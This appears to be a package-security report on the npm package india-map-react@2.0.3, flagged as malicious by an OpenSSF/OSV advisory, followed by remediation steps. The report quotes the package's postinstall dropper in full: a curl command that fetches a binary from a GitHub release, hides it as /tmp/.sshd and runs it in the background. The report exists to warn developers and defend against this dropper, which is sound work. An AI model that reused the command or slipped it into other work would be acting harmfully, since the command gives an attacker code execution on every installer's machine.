india-map-react
This report shows the evidence for india-map-react@2.0.3. 3 of 3 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5542 confirms this npm version as malicious.
Advisory
MAL-2026-5542
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in india-map-react (npm)
Details
package.json declares a postinstall hook that runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &`. On every `npm install`, this fetches a binary from a GitHub account ('parikhpreyash4') unrelated to the npm publisher ('yuvrajDurgesh'), with TLS verification disabled (`-k`), follows redirects (`-L`), suppresses all errors (`2>/dev/null`), stages the binary under a deceptive hidden path masquerading as the SSH daemon (`/tmp/.sshd`), marks it executable, and runs it in the background. The URL uses the mutable `latest/download` alias rather than a pinned release with a verified hash, so the author can swap the executed bytes at any time. The package advertises itself as a React component for rendering an India map — there is no legitimate reason for it to fetch and execute a native binary named after a system network daemon. This is a textbook install-time dropper granting arbitrary code execution on every installer's machine.
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to india-map-react@2.0.3.
The versions list below shows the verdict for each recorded version.
- Avoid installing india-map-react@2.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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